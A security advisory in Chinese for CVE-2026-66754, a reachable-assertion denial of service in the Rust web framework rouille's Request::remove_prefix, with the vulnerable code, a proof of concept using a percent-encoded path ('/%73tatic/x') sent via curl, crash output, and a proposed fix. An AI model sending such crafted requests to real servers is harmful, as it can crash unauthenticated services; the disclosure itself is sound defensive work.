
Security Advisory: Remote Denial of Service via Reachable Assertion in URL Prefix Handling (rouille)
分配的 CVE 编号: CVE-2026-66754
Request::remove_prefix 检查的是百分号解码后的 URL,但断言的是原始 URL。如果一个请求的解码后路径以该前缀开头,但其原始路径并非如此,那么该请求会通过检查,却在断言处失败。只需对前缀中的一个字符进行百分号编码即可。
在默认构建下,panic 会被捕获并变成 500 响应。在启用 panic = "abort" 的构建中,没有任何机制可以捕获它,一次未认证的 GET 请求就会终止服务器进程。
仓库 URL:https://github.com/tomaka/rouille
| 最早受影响 | 0.1.6(2016-09-22),该版本引入了 remove_prefix |
| 最后受影响 | 3.6.2(2023-04-24),当前最新版本 |
| 不受影响 | 0.1.5 及更早版本,这些版本没有 remove_prefix |
| 修复版本 | 撰写本文时尚无修复版本 |
在该范围内的所有版本以及当前的 master 分支中,该函数均未改变。如果应用调用了 Request::remove_prefix,则会受到影响;这正是 rouille 文档中描述的用于在 URL 前缀下提供静态文件的模式(src/assets.rs 第 66 至 75 行,以及 src/lib.rs 第 804 至 811 行)。
CWE-617(可达断言),进而导致 CWE-248(未捕获异常)。
CVSS 4.0 基础评分 8.2(高危)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
一个能够发送一个 GET 请求的远程、未认证客户端。无需任何凭据,也无需用户交互。
panic = "abort" 不是 Cargo 的默认配置,但它是为了获得更小的二进制文件和更低的开销而常见的发布配置文件选择。rouille 的可用性依赖栈展开机制,因为 Server::process 依赖 src/lib.rs 第 602 行的 panic::catch_unwind,将处理函数中的 panic 转换为 500 响应。该依赖关系并未记录在文档中。
rouille/src/lib.rs,第 813 至 822 行:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
第 814 行调用 self.url(),该方法会进行百分号解码。第 819 行断言的是原始字段 self.url,第 822 行也对该原始字段进行切片。只要路径在前缀部分包含百分号转义,这两种表示就会不一致:
同样的不一致也意味着 remove_prefix 永远不会路由合法地进行百分号编码的路径,因此正确性缺陷与可用性缺陷可以一并修复。
步骤 1. 使用文档所述的前缀惯用法启动一个服务器。
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
步骤 2. 发送一个良性请求,以及一个将 s 进行百分号编码的等价请求。--path-as-is 用于阻止 curl 对路径进行规范化。
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
默认构建下的结果。第一个是对缺失文件的正常 404,第二个是被转换为 500 的 panic:
404
500
stderr 上会输出以下内容:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
步骤 3. 使用 abort-on-panic 重新构建同一程序,并重复第二个请求。
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
结果。进程以 SIGABRT(退出码 134)终止,服务器停止响应。一次请求,无需认证,可用性完全丧失。
在启用 panic = "abort" 的构建中,单个未认证请求即可使服务器停止。在默认构建中,路径在前缀部分包含百分号转义的请求会返回 500 而不是被正常服务,因此对合法客户端而言,路由也是错误的。
请注意,该 panic 无法毒化 Server::process 在 catch_unwind 之外(src/lib.rs 第 643 和 649 行)unwrap 的互斥锁,因为 remove_prefix 只克隆 Arc,从不持有 guard。在启用栈展开的构建中,工作线程能够干净地恢复。
在同一个表示上进行比较和切片。最简单的正确版本是比较并切片原始 URL:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
如果预期行为是解码后比较,则应先对 URL 解码一次,从解码后的字符串中剥离前缀,再对剩余部分重新编码,而不是对原始字段进行切片。
无论哪种方式,assert! 都应该去掉。库不应因攻击者可控的输入而中止进程。将 rouille 要求 panic = "unwind" 写入文档,或者消除对 catch_unwind 的正确性依赖,也会有所帮助。
| 原始 URL | url() 解码后 | 第 814 行 | 第 819 行 |
|---|
/static/x | /static/x | 通过 | 通过 |
/%73tatic/x | /static/x | 通过 | 失败 |
/stati%63/x | /static/x | 通过 | 失败 |